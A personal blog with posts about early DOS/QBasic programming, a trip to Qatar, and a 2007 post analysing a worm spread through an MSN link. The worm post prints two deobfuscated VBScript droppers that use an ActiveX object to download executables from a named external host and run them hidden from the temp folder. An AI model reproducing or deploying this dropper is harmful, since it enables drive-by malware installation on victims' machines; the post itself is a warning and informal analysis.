Search This Blog

Saturday, September 15, 2007

Text mood menus days

Peace be upon you

here is new topic, do you remember the old days, DOS days, some people say that it was very ugly days, but I say it was informative days, and I learnt a lot by using dos, I learnt it for some reason, first when I was in school this OLD monochrome PCs with only thing available, it was at 1998, and I was in the Thanaway, Governmental school, we used to get Floppy disk that has DOS 6.22 as I remember, the only thing that can run on this disk was QBasic, C++ compilers need more space for the compiler and more space for the compiler output, so we take GWbasic and QBasic, this time Windows 98 was released, we did a lot of things with this QBasic, we used to do something new weekly, I was in a very geeky team
Ahmed Abd El Aziz - Missing and I can't find him
Ahmed Abl El Hakim - Missing and I can't find him
Ahmed Essam Naiem - it's me :)
we was always in the computers room, so we get a very low grades :D anyways, I tell this story to show you some snapshots I hope you like it :)


This is simple application for credit and debit for subscribed users


From this window you query for the user and add or subtract from his/her account

This is simple reports list


in other hand there was a tries to add Arabic support for the Dos Application, and I get it for once :D


this one is done by TC++, I made it when I was in the 3rd grade in the institute, it is something like Paint brush but it is not completely done (it was under dos)


this is the same application with Mouse support :) of course this was under dos



this is the same application in the text mood up there but this is the graphical one ( closing the application )

this was my first try to do Graphical application under dos, adding Icon was little hard this time :) but I did it , this one in QBasic

this application is the same as the one up there, this is add customer window


this is the customer listing




I used one idea implemented many times to test something else, it was the ability to create Menu based application like the ones in the POSs in the super markets , also when I first saw the GUI in windows, I decide to simulate it, and I did :) thanks to ALLAH for that :), by the way , all the source code for this stuff are available, but it was so dirty coding , it was my first tries, this code was written between 1998 and 2003 , this was my start, it was one hour per day is the available for me at the school :), also thank ALLAH for what I have now :)

see you in next topic :)

Trip to Qatar

Peace be upon you
How are you? I miss all people who read what I write :), last time I wrote something was long time ago, I am sorry people, I was away, I was in Qatar Delivering a really huge system, it is ePurse, I am one of project members, here is link for the porject
http://portal.getgroup.com/ITSolutions/EnterpriseSolutions/Pages/E-Purse.aspx

now after this long time, I will show you the good in this trip :D, I visit some place , actually it is amazing place, it's a mall when you are inside it you will find it DAY , I mean there is always sun on it also there is a moon, :D I know it's not reasonable but check out the photos,it was really a very good day :)



It is a day at 11:00 PM can you imagine it :)

shoping in the water :D if you don't afraid of sinking :D

WoW the fake sun looks cool


let's take a round with this thing :D

Me and pink panther :D



over this bridge is a restrant

is it a sunset ???

Moon :D and it is totally fake


By the way I got married last month, :) I wish I can blog more :)

Sunday, April 29, 2007

Catching a worm

Peace be upon you

it was a tough day to me, :D I was installing windows and other things that I used to use on my machin, anyways the first thing I do after installing windows is to install MSN, I got Message from someone very imortant to me, he/she sends me a link

http://th ecool pics.net/don tclick.jpg

DOn't OPEN THIS LINK IT HAS THE WORM


I opened the link, and I noticed it cause a very dilay on my machin, I said to my self wait for a second to see what is coming, nothing the page was so normal, after while I tried to open "RUN" and I found that it is "Restricted", also the Task Manager,
I used "Process Explorer" and I found that there is a very strange processes, I got MAD, WORM ON MY MACHIN, of course I tried all the old tricks, Safe mode and try to restore and workin restore point, but NOWAY, they guy who made it is very clever, he expected what I am going to do and he / she deleted my restore application :D, for his/her bad luck that I always have a running copy of windows that I don't touch, I use it only for emargance, :D I got a copy of the system restore applicaiton and I get back to clean working point :D, and I decide to know what is the hell is going on :D
I got the like that I mentioned before, I downloaded the image and I found that it is redirect to some other place that redirect ot ver far place :D , at last I got this code



of course anyone know Javascript will know esacp and unescap functions, I did a very simple page that unescae this content and put it in TextArea, and I found a very nice simple code for encrypting the content "dF(s)" this was the function name, I did anther Textarea to put the output of the Textarea , and what I saw make me get shocked :D, simply I don't update my internet explorer for this stupid exploit

I got the code that copies the worm to my machin

and here it is





< language="VBS_C_R_I_P_T">
on error resume next
dl = "http://ns1.hosting101.biz/~metalurg/images/template/YMworm.E_x_E"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="IEXPLORE.E_x_E"
set F = df.createobject("S_C_R_I_P_Ting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
< / s_c_r_i_p_t>

< language="VBS_C_R_I_P_T">
on error resume next
dl = "http://ns1.hosting101.biz/~metalurg/images/template/worm2007.E_x_E"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"
a4="eam"
str1=a1&amp;a2&a3&a4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, dl, False
x.Send
fname1="EXPLORE.E_x_E"
set F = df.createobject("S_C_R_I_P_Ting.FileSystemObject","")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Application","")
Q.ShellExecute fname1,"","","open",0
< / s_c_r_i_p_t >

now after I got this simple javascript code that copies a stupid executable and run it on my machin, I have downloaded this file and I open it with Notepad :D don't laugh I don't have anything now on my HD, I found that it is encrypted , I searched for the file name with the beloved google and I foun this link that tells a lot about the virus
http://www.trendmicro.com/vinfo/virusencyclo/default5.asp?VName=WORM_SOHANAD.AL&VSect=T

I wish this topic useful to you, and I want to say something at last "DO N'T TRUST SOMETHING U DON'T SEE, remember there is opictal illusion :D so Don't trust anything :D"